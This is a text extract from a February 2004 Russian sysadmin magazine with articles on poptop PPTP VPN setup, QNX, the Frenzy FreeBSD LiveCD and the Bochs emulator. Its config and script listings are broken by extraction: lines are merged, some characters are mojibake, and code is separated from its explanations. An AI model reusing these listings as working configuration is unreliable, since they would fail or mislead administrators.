В разделе «Cryptographic options» включите «Crypto-graphic API», в нем обязательно включите «SHA1digest algorithm» и «ARCFOUR» (ARCFOUR сказановключить в документации, но такого в linux-2.4.24 нет.Предполагаю, что еще необходимо включить «HMACsupport» и «MD5 digest algorithm», остальные – наваше усмотрение). Сохраняем изменения, пересоби-раем ядро и модули.

! Собираем poptop:

Настройка:

Замечание: как сказано выше, для аутентификации ис-пользуем только ms-chap-v2. Чтобы узнать больше о па-раметрах и их значениях, загляните в man 8 pppd.

Замечание: последние две строки не имеют особогосмысла, если poptop собирался с параметром «--with-pppd-ip-alloc».

Запускается все следующим скриптом:

Пользователи прописываются в /etc/ppp/chap-secrets.Формат файла и пример заполнения:

Все мелкие детали, надеюсь, додумаете сами.А трафик считать – милое дело! (man pppd, раздел

SCRIPTS). Есть такие файлы /etc/ppp/ip-up и /etc/ppp/ip-down,которые pppd запускает в начале и в конце соединениясоответственно. А им (этим файлам) передаются такие ин-тересные параметры, как, например, логин, время на ли-нии, скорость, сколько получено и отослано байт и т. д.

Как настроить клиентов, почитайте тут: http://poptop.sourceforge.net/dox/.

Замечание: администраторам, которые решили реали-зовать в своей сети VPN-доступ, поможет DHCP-сервис.Предварительно, до установки VPN-соединения, адресав сети можно раздавать с помощью DHCP, из какой-ни-будь внутренней сети (192.168.1.0/24) без выхода в Ин-тернет, главное, чтобы VPN-шлюз был доступен. Доступв Интернет у пользователей будет появляться только пос-ле установления VPN-соединения.

Отдельное спасибо Дмитрию Коптеву за помощь в орга-низации соединения и Андрею Бешкову за критику.

./configuremakemake install

<M> PPP (point-to-point protocol) support[*] PPP multilink support (EXPERIMENTAL)[*] PPP filtering<M> PPP support for async serial ports<M> PPP support for sync tty ports<M> PPP Deflate compression<M> PPP BSD-Compress compression<M> PPP MPPE compression (encryption)<M> PPP over Ethernet (EXPERIMENTAL)

./configure --with-pppd-ip-alloc./* äîïîëíèòåëüíàÿ îïöèÿ äëÿ ñíÿòèÿ îãðàíè÷åíèÿ* íà êîëè÷åñòâî ñåññèé è åùå êîå-÷òî ïîëåçíîå ñ* âûäåëåíèåì IP-àäðåñîâ.*/makemake install

Ôàéë /etc/ppp/optionslockÔàéë /etc/ppp/options.pptpd#debugipparam PoPToPlockmtu 1490mru 1490ms-dns <your dns ip addr>proxyarpauthrefuse-paprefuse-chaprefuse-mschaprequire-mschap-v2require-mpperequire-mppe-128ipcp-accept-localipcp-accept-remotelcp-echo-failure 30lcp-echo-interval 5deflate 0

Ôàéë /etc/rc.d/rc.pptpd#!/bin/sh## /etc/rc.d/rc.pptpd## description: control pptp server#case "$1" instart) modprobe ppp_async modprobe ppp_generic modprobe ppp_mppe modprobe slhc if /usr/local/sbin/pptpd; then touch /var/lock/subsys/pptpd fi ;;stop) killall �TERM pptpd rm -f /var/lock/subsys/pptpd ;;restart) killall pptpd if /usr/local/sbin/pptpd; then touch /var/lock/subsys/pptpd fi ;;status) ifconfig ;;*) echo "Usage: $0 {start|stop|restart|status}" ;;esac

# Secrets for authentication using CHAP# client server secret IP addresses

test * test 192.168.1.5

Ôàéë /etc/pptpd.conf#debugspeed 115200option /etc/ppp/options.pptpd#localip 10.0.0.1#remoteip 10.0.0.2-254

Page 28: 015 Системный Администратор 02 2004

26

администрирование

QNX

АЛЕКСАНДР БАЙРАКАЛЕКСАНДР БАЙРАК

Page 29: 015 Системный Администратор 02 2004

27№2(15), февраль 2004

администрирование

Все операционные системы можно разделить на 2 катего-рии: ОС общего назначения, для которых главной задачейявляется эффективное распределение и использование ре-сурсов компьютера, и на ОС реального времени, для кото-рых задачей номер один является своевременная обработказапроса, а все остальное как бы отходит на второй план. Всвою очередь ОСРВ также делятся на два типа – мягкого ижесткого реального времени. Между собой они главный об-разом отличаются тем, что ОС жесткого реального време-ни гарантирует выполнение всех положенных ей действийза строго определенный промежуток времени, в свое вре-мя мягкие ОСРВ в большинстве случаев, конечно, успева-ют сделать все им предписанное, однако ничего не гаран-тируют. QNX – это операционная система жесткого реаль-ного времени. Вы удивитесь, но и само семейство ОС QNXтоже следует разделить на два вида дистрибутивов. QNXможет поставляться как встроенная система и как средаразработчика. К примеру, купили вы новомодную стираль-ную машину, а за процессом стирки в ней зорко наблюдаетQNX (как встроенная система), теперь можете считать себясчастливым обладателем этой ОС (и даже ее пользовате-лем) . Но кроме как радоваться ее безупречной работе, вамбольше ничего не остается, потому как вся настройка, от-ладка, компоновка производится в другом виде дистрибу-тивов – комплекте разработчика. Надо заметить, что есливы установили на свой компьютер среду разработчика,никто вас не заставляет использовать ее по прямому на-значению, такой вид дистрибутивов можно использовать икак desktop-систему. Смею вас заверить, это намного ре-альнее, чем кажется на первый взгляд. Встраиваемые вер-сии QNX сейчас работают на следующих платформах: ARM,StrongARM, MIPS32, PowerPC, x86, SH4 и Xscale. А комп-лекты разработчика на x86 и на SPARC. Эту «двоякость»QNX очень важно уяснить.

Рассмотрим дистрибутивы разработчика. QNX6 раз-рабатывалась как POSIX-совместимая OCPB. Следуеттакже заметить, что она достаточно хорошо заточена подпрограммы, которые написаны для ОС Linux. Только бериисходники и компилируй, иногда все компилируется во-обще без единной правки. Тут надо отметить, что офици-альный компилятор под QNX4 и более ранних версий былWatcom C++, но с 6 версии им является GNU C. КомпанияQSSL, выпуская на рынок QNX6, сделала два вариантадистрибутива:! QNX RTP (Real Time Platform) – бесплатная среда раз-

работки для некоммерческого использования. С воз-можностью (в случае начала коммерческих разрабо-ток) приобретения у разработчиков лицензии.

! QNX NIP (Networking Infrastructure Platform) – коммер-ческий дистрибутив, по сути тот же QNX RTP, но с до-полнением в виде возможностей, которые оценили подостоинству производители оборудования для сетей.

С выходом версии 6.2 компания решила выпускать ди-стрибутивы по другой схеме. Отныне пакет разработчикавместе с ОСРВ QNX, графической средой Photon, инстру-ментами для разработки и некоторым количеством допол-нительного ПО получили название QNX Momentics. Сей-час выпускаются 3 вида дистрибутивов QNX Momemtics:

! Non commercial edition (NC) – дистрибутив, предназна-ченный для ознакомления с этой системой. Абсолют-но бесплатен для некоммерческого использования.

! Standard Edition (SE) – в состав этого дистрибутива вхо-дят средства, с помощью которых вы можете вести ком-мерческую разработку разного ПО и собственных ва-риантов систем.

! Professional Edition (PE) – дистрибутив по сути своейявляется сильно «распухшей» версией SE.

На самом деле есть еще один вариант дистрибутиваэтой системы, на сайте QNX (www.qnx.com) вы можете спи-сать вариант системы, умещающийся на одну дискету.Очень рекомендую вам это сделать. Ведь сейчас от одно-дискетной системы не ожидают ничего, кроме как очеред-ного дистрибутива Linux с функциями роутера/фаервола.А тут такое… полностью работоспособная ОСРВ, постро-енная на микроядре (как и старшие братья), урезанныйGUI, и даже браузер графический есть. Работать будет налюбой 386 с 8 Мб RAM.

Несмотря на все новшества шестой версии, в нашейстране наибольшее распространение получила QNX чет-вертой версии. Сейчас как таковая разработка четвертойверсии завершена, последняя версия (4.25 patch G) вышлав самом начале 2003 года. Но несмотря на все преимуще-ства новых разработок, я не думаю, что шестая версия вобозримом будущем полностью выживет четвертую с рын-ка. Никто не будет менять системы, которые годами рабо-тали без сбоев и нареканий только потому, что есть болееновая версия. А в некоторых местах нет такой возможнос-ти что-либо менять, т.к. простой системы либо абсолютноневозможен, либо приведет к очень большим убыткам. Тутеще стоит вспомнить о тех устройствах, на которых в прин-ципе невозможно поменять ОС, потому как она вшита вПЗУ. До появления четвертой версии в ходу была втораяверсия QNX, не получившая сколько-нибудь значительно-го распространения на просторах России. Работала этасистема на компьютерах с 286 процессорами. Кстати, надозаметить, что бинарной совместимости между различны-ми версиями нет, т.е. то, что работало под QNX4 на QNX6вам не запустить (отсюда и еще одна причина, почему QNX4не спешат полностью менять на QNX6). Подобные неудоб-ства можно объяснить только тем, что системы такого уров-ня очень глубоко «привязываются» к особенностям той илииной платформы. Недавно я узнал еще одну интереснуюподробность: оказывается, до 1991 г. система вообще зна-чилась как стратегический ресурс, и строго настрого былозапрещено вывозить ее за пределы Северной Америки.

Вернемся к более подробному рассмотрению этой ОС.

В двух словах об установкеУстановить систему разработчика QNX можно на SPARC, ипод управление ОС Solaris (к сожалению, поработать с QNXна SPARC мне пока не удалось, так что какими-либо впечат-лениями делиться не буду, а просто упомяну о такой воз-можности). Также QNX можно поставить на компьютер с x86архитектурой. Либо под управлением Windows, либо непос-редственно под QNX, в скором времени появится версия ипод Linux. Но вы можете поставить ее и на FAT32. Скажу

Page 30: 015 Системный Администратор 02 2004

28

администрирование

больше, если у вас Windows 98, и вы решите поставить QNXна раздел FAT32, то QNX будет работать прямо под Windows98, в отдельном окошке. Что-то вроде виртуальной машиныполучается. Если же у вас W2K/XP и вы решите поставитьQNX на уже существующий раздел FAT32, то заодно готовь-те дискету, потому как именно с нее вам нужно будет гру-зиться, в то время как все данные будут располагаться навашем жестком диске. При установке в раздел FAT32 систе-ме потребуется как минимум 500 Мб свободного места. Таккак на своей домашней машине чуда программистской мыс-ли от MS не держу, я устанавливал QNX на отдельный раз-дел. Даже если у вас есть раздел FAT32, рекомендую не под-даваться на соблазн поставить систему на него, а сделатьотдельный раздел и ставить QNX туда. На сайте разработ-чика минимальные системные требования для QNX PE со-ставили P3-650 МГц /256 Мб RAM/1.5 Гб. Все, конечно, мо-жет быть, с версией PE я не работал (она, насколько вы по-мните, коммерческая). Но за время работы с версией NC,как на Cel366 МГц /256 Мб RAM, так и на P3-550 МГц /256 МбRAM, каких-либо тормозов замечено не было. Кстати, преж-де чем ставить систему, желательно ознакомиться со спис-ком поддерживаемого оборудования на www.qnx.com/support/sd_hardware/, но не стоит расстраиваться, если сре-ди списков железа вы не обнаружите чего-либо установлен-ного у вас в компьютере, в действительности список на-много шире, просто пока тестеры из QSSL самолично ка-кую-нибудь железяку не проверят всеми доступными спосо-бами, в список ее не включат. Процесс установки системыочень прост, никаких подводных камней и трудностей я невстретил, так что останавливаться и подробно описывать егомы не будем, там действительно все предельно просто. Стан-дартный для QNX графический интерфейс Photon, которыйвстречает пользователя сразу после загрузки системы, ин-туитивно понятен, так что тратить время на его описаниесмысла я не вижу. В качестве стандартного командного ин-терпретатора используется ksh, но, конечно, никто не запре-щает поставить, например, bash или csh. Исходя из этогостановится ясно, что с работой в консоле QNX любой юник-соид освоится за несколько минут. Большинство команд так-же уже знакомо всем приверженцам UNIX-систем, все те жеmv, pwd, rm, ну и так далее. Единственное, что хотелось быотметить, вместо архиважной команды man используется ко-манда use, ну а суть ее та же.

Ядро QNXВо всех ОС, которые мне встречались, ядра системы былитак нагружены, что они уже сами по себе начинали смахи-вать на операционные системы (сколько нынче ядро пингви-ненка весит?). Скажу сразу, ядро QNX весит от 8 до 32 Кб.Удивлены? Такой малый размер достигается за счет того,что, во-первых, ядро полностью написано на ассемблере, иво-вторых (самое главное), ядро QNX исполняет всего 2 за-дачи: передачу сообщений и планирование. Все. Причемудивительно, но факт – само ядро не планируется, а взаи-модействие с ним осуществляется с помощью процессов(надо заметить, с одинаковыми правами). Часть ядра, отве-чающая за планировку, «вступает в игру», после того какнекий процесс меняет свое состояние в результате появле-ния сообщения, адресованного ему, или прерывания.

В отличие от процессов само ядро никогда не планирует-ся к выполнению. Управление передается ядру только в ре-зультате прямого вызова ядра из процесса или по аппарат-ному прерыванию. Что касаемо передачи сообщений – ядроQNX реализует передачу любых сообщений между абсолют-но всеми процессами в системе. Сообщение представляетсобой обычный пакет данных размером до 64 Kб, которыйпередается ядром от одного процесса в другой. Ядро никог-да не изменяет содержимое сообщения, оно просто переда-ет данные из адресного пространства одного процесса вадресное пространство другого процесса и как бы замора-живает процесс-«отправитель» до тех пор, пока «получатель»не ответит на посланное ему сообщение.

Схематично изобразить взаимодействие ядра с процес-сами можно так:

Все функции реализуются только этими системнымипроцессами. Эти процессы ничем не отличаются от другихобычных процессов, и именно это обеспечивает QNX лег-кую расширяемость. Процесс dev отвечает за администри-рование различных устройств, proc – за администрирова-ние процессов, fsys – администрирование файловой сис-темы, net отвечает за сеть.

Файлы и файловая система QNXВсе данные в операционной системе хранятся в виде фай-лов. Ну а файлы – это в свою очередь набор байтов, име-ющих общие атрибуты (имя, GID, UID, тип файла, меткивремени). QNX обеспечивает поддержку следующих ти-пов файлов: обычные файлы, каталоги, жесткие ссылки,мягкие ссылки, FIFO (именованные программные каналы),блок-ориентированные специальные файлы, байт-ориен-тированные специальные файлы, и именованные специ-альные устройства. Вкратце я расскажу о них.! Обычные файлы – последовательность байт, не име-

ющих предопределенной структуры. За интерпретациюданных из обычных файлов отвечают разные прило-жения.

! Каталоги – это те же самые обычные файлы, но ониимеют определенную структуру. Структура эта пред-ставляет собой набор записей, которые называютсяэлементами каталога.

! Жесткие ссылки – если нам нужно обращаться к одно-му и тому же файлу, по нескольким именам, и из раз-ных мест, нам на помощь приходит как раз такой видфайлов, как жесткие ссылки. Т.е. сама по себе жест-кая ссылка является указателем на другой файл.

Page 31: 015 Системный Администратор 02 2004

29№2(15), февраль 2004

администрирование

! Мягкие ссылки – почти то же самое, что и жесткие ссыл-ки, разница в том, что, используя мягкие ссылки, выможете делать ссылки на файлы, которые находятсяза пределами файловой системы, на которой находит-ся исходный файл (на который делается ссылка). Во-обще мягкую ссылку можно представить как некий тек-стовый файл, в котором содержится имя другого фай-ла, к которому перенаправляются все запросы.

! FIFO по сути является механизмом взаимодействиямежду несколькими процессами – один процесс пишетв программный канал, а другой читает оттуда. Сразустановится ясным, что FIFO не очень быстрый способдля межзадачного взаимодействия.

! Блок-ориентированные специальные файлы – файлы,которые существуют для изоляции приложений от физи-ческих характеристик аппаратуры. Обмен данными осу-ществляется в блоках. Важной особенностью таких фай-лов является то, что в QNX они создаются не на диске, ав оперативной памяти. Создаются они соответственно призапуске конкретных драйверов. Примером устройства длякоторых создаются такого рода файлы, является HDD.

! Байт-ориентированные специальные файлы – этот типфайлов очень похож на блок-ориентированные специ-альные файлы, но разница в том, что байт-ориентиро-ванные обеспечивают интерфейс к аппаратуре, и об-мен данными осуществляется побайтовый. Примеромустройства, для которых создаются такие файлы, яв-ляется сетевая карта, com-порт. Такие файлы такжесоздаются при запуске соответствующего драйвера.

! Именованные специальные устройства – самый инте-ресный тип файлов, байт и блок, ориентированныефайлы достаточно универсальны, и как следствие ихможно использовать не только для обмена данными сдрайверами устройств, но и для взаимодействия с дру-гими программами. В этих случаях приложения, дела-ющие специальные файлы, будут выглядеть как про-граммные устройства. Яркий пример такого вида фай-лов в QNX – это /dev/photon.

Как я уже упоминал ранее, файловой системой QNXуправляет процесс fsys. Он отвечает за обработку всяко-го рода запросов к файлам (чтение, запись, открытие, зак-рытие). Доступ к файлам принципиально не отличаетсяот того метода, который используется в других Unix-по-добных системах. Выше я упомянул, что QNX разрабаты-валась как POSIX-совместимая система. Файловая сис-тема QNX очень интересно построена, при записи каких-либо данных, критически важных для системы, файлы за-писываются немедленно, а некритические сначала поме-щаются в специальный буфер и только потом уже запи-сываются. Хотя при таком раскладе и возникает некото-рая задержка, но уловить ее практически невозможно.

В каждом разделе QNX есть:! Блок загрузчика – им является первый физический либо

блок, либо раздел HDD, в котором и располагается IPL –начальный загрузчик, который и считывает BIOS.

! Корневой блок – в нем лежит информация об оченьважных четырех системных файлах: / (корневой ката-лог); /.inodes; /.boot; /.altboot.

! Битовая карта – на диске представлена файлом /.bitmap,который содержит все блоки диска, каждый из кото-рых представлен битом. Если бит равен 1, значит блокуже занят, если 0, значит блок свободен.

! Корневой каталог – по сути своей обычный каталог,только за тем исключением, что жесткие ссылки «.» и«..» являются ссылками на этот же самый корневой ка-талог.

QNX может работать с достаточно большим количе-ством разный файловых систем, среди которых: FAT12,FAT16, FAT32, NFS, ISO9660, EXT2, NFS.

QNX и сетьЯ уже упомянул, что QNX разрабатывалась как сетеваяоперационная система. В QNX есть своя «родная» сеть –qnet. У каждого компьютера в сети под управлением QNXесть свой id. Собственно говоря, именно этот id и позво-ляет узнать, работает QNX как сеть или же просто какобычная система. Этим занимается один из упомянутыхвыше системных процессов – net. Сетевое взаимодей-ствие в подобных сетях абсолютно прозрачное благодаряспособности QNX осуществлять обмен сообщениями меж-ду микроядрами систем через сеть. «А как отличить сете-вое сообщение от локального?» – спросите вы. Есть про-странство имен путей администратора всех процессов. Такчто при загрузке администратор (роль которого выполня-ет разделяемая библиотека npm-qnet.so (каждый интер-фейс протокола поставляется в виде разделяемой биб-лиотеки, например, npm-qnet.so, протокол QNET, такжеизвестный как Native Neurino Networking)) регистрируетсимвольное имя /dev/io-net/qnet0, а также каталог /net, вкоторый впоследствии помещаются файлы с именамихостов в нашей сети, к которым можно получить доступ.

Помимо прозрачности в вопросе доступа к файлам наразных хостах, qnet позволяет запускать всякого рода зада-чи на любом из доступны хостов сети. Т.е. у нас получаетсякак бы виртуальный суперкомпьютер. И все бы хорошо, ноесть и один очень большой недостаток этой сети – безопас-ность. В принципе каждый хост может делать все, что емузаблагорассудится, с другим хостом в сети. Поддержка TCP/IP-стека в QNX во многом позаимствована из NetBSD v1.5.Поддержка стека протоколов TCP/IP в QNX обеспечиваетсясредствами трех модулей (npm-ttcpip.so, npm-tcpip-v4.so npm-tcpip-v6.so), которые загружаются процессом net, который,как я уже упоминал, отвечает за поддержание работы сети.Тут не обойден вниманием аспект безопасности – пакетнуюфильтрацию и трансляцию адресов осуществляет портиро-ванный в QNX IP Filter (версии 3.2.37).

Вот и подошла к концу статья, посвященная QNX. Ин-формации для размышления, я думаю, было полученодостаточно. Для особо заинтересовавшихся – в рунетеочень немного информации по QNX, единственный более-менее интересный сайт, посвященный этой системе –www.qnx.org.ru. А вот в бумажном виде мне вообще ниодной книги, к сожалению, не попадалось. Если читате-лям эта тема покажется интересной, я могу еще многозанятного рассказать об этой операционной системе, такчто жду ваших отзывов.

Page 32: 015 Системный Администратор 02 2004

30

администрирование

FRENZY:FreeBSD В КАРМАНЕ

СИСАДМИНА

СЕРГЕЙ МОЖАЙСКИЙ

Любой сисадмин хоть раз в своей жизни(или даже не раз) делал себе системнуюдискету. Он любовно подбирал драйверочки,вписывал их в config.sys, а иногда дажеделал startup-меню. После чего сдвигалрычажок защиты от записи и любовнонадписывал: «СИСТЕМНАЯ ДИСКЕТА»,втайне считая при этом, что его дискета –самая лучшая. Убирал дискету в верхнийящик стола. Через 3 месяца, матерясь, рылсяв залежах бумаг и прочего хлама, восклицая«Ну где же она?!».

Page 33: 015 Системный Администратор 02 2004

31№2(15), февраль 2004

администрирование

Описанная выше ситуация вам знакома, не так ли? Всемнам хочется носить с собой набор необходимых утилит,чтобы всегда быть готовым к решению любых проблеми не искать нужный для этого софт. За прошедшие с техпор годы размеры операционных систем и программ дляних заметно выросли, и системные дискеты преврати-лись в загрузочные компакт-диски. И если в миреWindows такой подход не особо популярен, то в мире UNIXвсе наоборот – количество LiveCD-дистрибутивов исчис-ляется десятками, да и сделать собственный LiveCD те-перь может практически каждый, благо скриптов и доку-ментации на эту тему написано достаточно. Правда,LiveCD делаются в основном на базе Linux – Knoppix, Blin,Linux-BBC, Phlak, Gentoo LiveCD, RTK... Операционнаясистема FreeBSD куда более «консервативна» и на но-вомодное увлечение LiveCD внимания не обращала. Не-смотря на то что в портах FreeBSD есть целых три набо-ра скриптов для создания собственного LiveCD (sysutils/cdroot, sysutils/freesbie, sysutils/livecd), готового к исполь-зованию набора не предлагал практически никто.

Поскольку с FreeBSD я работал уже долгое время, мневсегда хотелось создать LiveCD именно на его основе, ив июле 2003 года я принялся за работу. Информацию повопросу создания LiveCD на базе FreeBSD приходилосьвыискивать по крупицам – поиск в Google дал не большедесятка действительно полезных ссылок, которыми я ивоспользовался в работе. К началу августа у меня полу-чился первый работоспособный LiveCD. Получившийсядистрибутив я не планировал распространять, посколь-ку считал, что это мало кому будет интересно, ограни-чился лишь кратким анонсом о выходе Frenzy 0.1 и вы-ложил сборочные скрипты. Позже, примерно через не-делю, я смог выложить в Сеть ISO-имидж. Однако новаяразработка заинтересовала многих, я получал множествописем и сообщений ICQ по поводу Frenzy. Обзор первойверсии Frenzy вы можете прочесть в январском номереэтого журнала.

По мере поступления отзывов стало понятно, что не-обходимо выпустить следующий релиз, в котором будутисправлены недоработки первой версии и учтены выска-занные пожелания. Поэтому 20 октября вышла Frenzy 0.2.В новой версии был обновлен набор программного обес-печения, добавлены криптографические утилиты, обес-печена поддержка NFS и SNMP, а также заметно упро-щен процесс сборки.

Frenzy распространяется в соответствии с лицензиейBSD, вы можете скачать ISO-имидж системы, заказать винтернет-магазинах компакт-диск или сделать свой ди-стрибутив Frenzy самостоятельно, используя сборочныескрипты. Обеспечивается полноценная техническая под-держка – вы можете всегда получить консультацию поработе с системой на форуме сайта проекта или почто-вой рассылке.

Возможности FrenzyМинимальными требованиями для работы Frenzy являет-ся компьютер Pentium с 32 Мб RAM. Однако для некото-рых программ требуется существенно больше оператив-ной памяти, поэтому 128 Мб будет вполне достаточно для

работы со всеми приложениями из состава Frenzy. В слу-чае нехватки оперативной памяти вы можете создатьswap-файл на смонтированных разделах винчестера.

После загрузки с CD мы получаем вполне работоспо-собную операционную систему FreeBSD 4.8-STABLE. Вкачестве командной оболочки использован стандартныйtcsh, но его функциональность была дополнена скрипта-ми из проекта tcshrc – и теперь в нем есть расширенноеавтодополнение команд, поддержка «горячих» клавиш,проверка синтаксиса введенных команд и многое дру-гое. Для тех, кто привык к файловым менеджерам, естьMidnight Commander и Demos Commander, который ме-нее функционален, но зато намного быстрее и проще.Есть и графическая оболочка XFree86 4.3.0 с оконнымменеджером fluxbox.

При загрузке разделы жесткого диска монтируютсяавтоматически, потом можно смонтировать сетевые дис-ки NFS и SMB, с DOS-дискетами можно работать и безмонтирования – достаточно воспользоваться программа-ми из пакета mtools или файловым менеджером MToolsFM.

Если нам нужно настроить сеть, то можно не возить-ся с ifconfig и редактированием конфигурационных фай-лов – в Frenzy есть диалоговый скрипт lan-config, по-зволяющий настроить поддержку локальной сети. Длянастройки модемного соединения используется скриптppp-config. Теперь можно запускать популярный брау-зер Opera или консольный lynx для веб-серфинга, ска-чивать файлы с помощью curl или wget, пользоватьсяпочтовыми и новостными клиентами mutt, tin, sylpheed-claws, общаться в сети ICQ с помощью centericq или licqи чатиться в IRC с помощью xchat. Кроме того, из Frenzyможно сделать тестовый маршрутизатор, firewall, NAT,NFS или DNS-сервер – все необходимое для этого естьв системе.

Теперь перейдем к программам для системного адми-нистратора, которые и составляют основу дистрибутива.

При неполадках с винчестером могут помочь утили-ты gpart (с ее помощью я дважды восстанавливал по-врежденную таблицу разделов), disktype, testdisk. Длявосстановления удаленных файлов на FAT-дисках естьfatback, для фришной FFS – экспериментальная утилитаffsrecov. Тем, кто хочет протестировать свое «железо»,пригодятся программы bytebench, cpuburn, ubench,memtest, pciutils.

Набор сетевых утилит, думаю, удовлетворит многих –есть утилиты для работы с DNS, ICMP, DHCP, SNMP,NetBIOS. Для удаленного управления есть сервер и кли-ент VNC – утилита tightVNC, оптимизированная для рабо-ты по медленным каналам связи, а также rdesktop (кли-ент для Windows Terminal Server).

В состав Frenzy входит антивирусный пакет Dr.WEBдля проверки на вирусы FAT-разделов, а для UNIX-сис-тем полезным окажется наличие утилит chkrootkit и cops,позволяющих определить наличие руткитов в системе.Для анализа безопасности сети есть пакетные сниффе-ры, сканеры портов, утилиты подбора паролей и многиедругие программы. Отмечу лишь некоторые из них – по-пулярный сканер безопасности nessus, система обна-ружения сетевых атак snort, знаменитая утилита nmap

Page 34: 015 Системный Администратор 02 2004

32

администрирование

(с графическим фронтендом nmapfe), удобный пакетныйсниффер ethereal.

Ко всем программам в системе прилагается доку-ментация и сопутствующие man-страницы, так что раз-бираться во всем «методом тыка» не придется. Крометого, в каталоге /frenzy/doc есть краткая документацияпо работе с Frenzy и список приложений с описаниемих назначения.

Провозившись некоторое время с настройками сис-темы, вам наверняка захочется их сохранить, чтобы ненастраивать при следующей загрузке все заново. Дляэтого есть скрипт backup, который позволит сохранитьвсе изменения в каталогах /etc, /root, /usr/local/etc и /var/drweb на обычную DOS-дискету. При загрузке системапроверяет наличие backup-дискеты в дисководе и вос-станавливает настройки с нее.

Процесс разработкиПри работе над дистрибутивом Frenzy возникало множе-ство проблем.

Сделать загрузку системы с CD удалось не сразу –советы и рекомендации, найденные мной в Интернете,не помогали. Как оказалось, для того, чтобы системамогла загружаться с CD, достаточно было наличия этихопций в ядре:

а также наличия строки:

в файле /boot/loader.conf.Уменьшение размера базовой системы делалось по

инструкциям, изложенным в cтатье Мануэля Каспера«miniBSD – reducing FreeBSD» (http://neon1.net/misc/minibsd.html) – ему удалось уместить всю систему вмес-те с Perl в 22 Мб, у меня же вышло порядка 40 за счетдобавления man-страниц и ряда полезных утилит.

Патчи в конфигурации системы сводились к добав-лению в /etc/rc.conf строки:

и написанию самого скрипта rc.frenzy и его компонентов.Для полноценной работы LiveCD необходимы разделы впамяти (memory disks), в которые может производитьсязапись, первый компонент – скрипт rc.frenzy.mfs – созда-ет их и заполняет необходимыми файлами. Затем необ-ходимо найти и смонтировать разделы жесткого диска,за это отвечает скрипт rc.frenzy.part. И наконец, нужнообеспечить восстановление сохраненных на дискету на-строек системы, скрипт restore отвечает за эту операцию.

Одной из главных отличительных черт Frenzy являет-ся уменьшение размера установленных приложений, бла-годаря чему удалось уместить большое количество при-ложений на 3-дюймовый компакт-диск. В первой версии«препарирование» всех пакаджей проделывалось вруч-ную. Однако при создании версии 0.2, прикинув объем

работ, я решил все это автоматизировать с помощьюнабора скриптов. Из пакаджей удаляются include и info-файлы, ненужные локали (зачем нам, к примеру, X-Chatна китайском?), после чего к пакаджу применяются ин-дивидуальные патчи. В итоге размер системы удалосьсократить с 330 до 196 Мб.

После всех этих приготовлений загрузочный ISO-имидж создается такой командой:

Загрузку с CD можно было реализовать двумя спосо-бами – эмуляцией загрузочной дискеты (так называемойEl-Toro) или прямой загрузкой (с помощью загрузчикаcdboot). В Frenzy используется второй вариант, посколь-ку он проще в реализации.

Получившиеся тестовые сборки я сначала отлаживалв VMWare, после чего стабильный билд записывался наCD и проверялся уже на реальных компьютерах. Посколь-ку систему не планировалось распространять, процессее сборки был автоматизирован лишь частично, некото-рые операции приходится делать вручную, однако в сле-дующих версиях процесс сборки будет уже полностьюавтоматизирован.

Желающие более детально ознакомиться с процес-сом сборки Frenzy могут скачать скрипты с сайта проек-та. Кроме того, на CD с Frenzy 0.2 в каталоге /frenzy/develможно найти сборочные скрипты и краткую документа-цию к ним.

Перспективы развитияВ настоящее время ведется работа над Frenzy 0.3. Сле-дующая версия Frenzy будет основана на 5-й веткеFreeBSD. Реализация сжатой файловой системы (под-держки которой пока еще нет в FreeBSD) позволит уве-личить количество приложений и положительно скажет-ся на скорости загрузки. Также планируется обновитьнабор софта и включить в состав дистрибутива русскуюдокументацию по ряду приложений.

Frenzy прочно заняла свое место в ряду LiveCD-дист-рибутивов и помогает в решении повседневных задачмногим системным администраторам. Надеюсь, вас онатоже заинтересует.

options CD9660options CD9660_ROOT

vfs.root.mountfrom="cd9660:acd0a"

diskless_mount="/etc/rc.frenzy"

mkisofs -b boot/cdboot -no-emul-boot -r -J -D ↵↵↵↵↵-V Frenzy_02 -o iso/frenzy_v02_release.iso FRENZY

Page 35: 015 Системный Администратор 02 2004
Page 36: 015 Системный Администратор 02 2004

34

администрирование

КАК ЧЕРТИК ИЗ КОРОБОЧКИ

ВАЛЕНТИН СИНИЦЫН

Page 37: 015 Системный Администратор 02 2004

35№2(15), февраль 2004

администрирование

Если вам в детстве посчастливилось иметь «бытовой ком-пьютер» (БК-0010, ZX Spectrum, «Корвет», ATARI и т. д.),то вы наверняка знакомы с программами-эмуляторами,основная задача которых – шаг за шагом интерпретиро-вать инструкции «чужого» процессора, имитировать ра-боту периферийных устройств (монитора, клавиатуры,дисковода) с тем, чтобы на IBM PC можно было запуститьпрограммы, разработанные для других аппаратных архи-тектур. Однако что мешает создать для IBM PC эмуляторIBM PC? Ответ прост – ничего! Более того, проект по егонаписанию был начат еще в 1994 году Кевином Лоутоном(Kevin Lawton). В течение 6 лет Bochs (произносится каканглийское «box» – коробка) распространялся как тради-ционный «закрытый» продукт (правда, желающие моглиприобрести его исходные коды), но в 2000 году он былкуплен компанией MandrakeSoft и лицензирован по LGPL(GNU Lesser General Public License). В настоящий моментсайт проекта Bochs расположен по адресу: http://bochs.sourceforge.net

С пользовательской точки зрения Bochs похож наVMWare: он также позволяет запустить на одном компью-тере несколько операционных систем и «переключаться»между ними по мере необходимости. С технической точ-ки зрения имеется существенное различие: Bochs не ис-пользует технологий виртуализации и динамическойтрансляции (иными словами, он именно интерпретируетинструкции процессора, а не исполняет куски кода в native-режиме), что, с одной стороны, позволяет ему работатьна платформах, отличных от x86 (в настоящий моменткроме x86 поддерживаются PPC, Alpha, Sun и MIPS), а сдругой – означает меньшую скорость эмуляции (факти-чески, сравнительно невысокая производительностьBochs является одним из его самых существенных мину-сов). Виртуальная машина с открытым исходным кодомPlex86 (http://www.plex86.org), использующая виртуализа-цию, находится сейчас в стадии разработки. Однако онане является полным аналогом VMWare, поскольку поддер-живает в качестве гостевой ОС только Linux. Bochs сампо себе является кросс-платформенным приложением: вроли так называемой «хост-системы» для него может вы-ступать Linux, различные варианты BSD, Mac OS X,Microsoft Windows, а также BeOS и Amiga/MorphOS. «Гос-тевой ОС» (системой, работающей в эмуляторе) теорети-чески может быть все, что угодно. На сайте проекта мож-но найти дисковые образы для большинства систем с от-крытым исходным кодом: Linux, OpenBSD, FreeDOS, GNU/Hurd, и даже Minix. Операционные системы семействаMicrosoft Windows также успешно работают в Bochs, но,по вполне понятным причинам, их образы не могут бытьрасположены в свободном доступе.

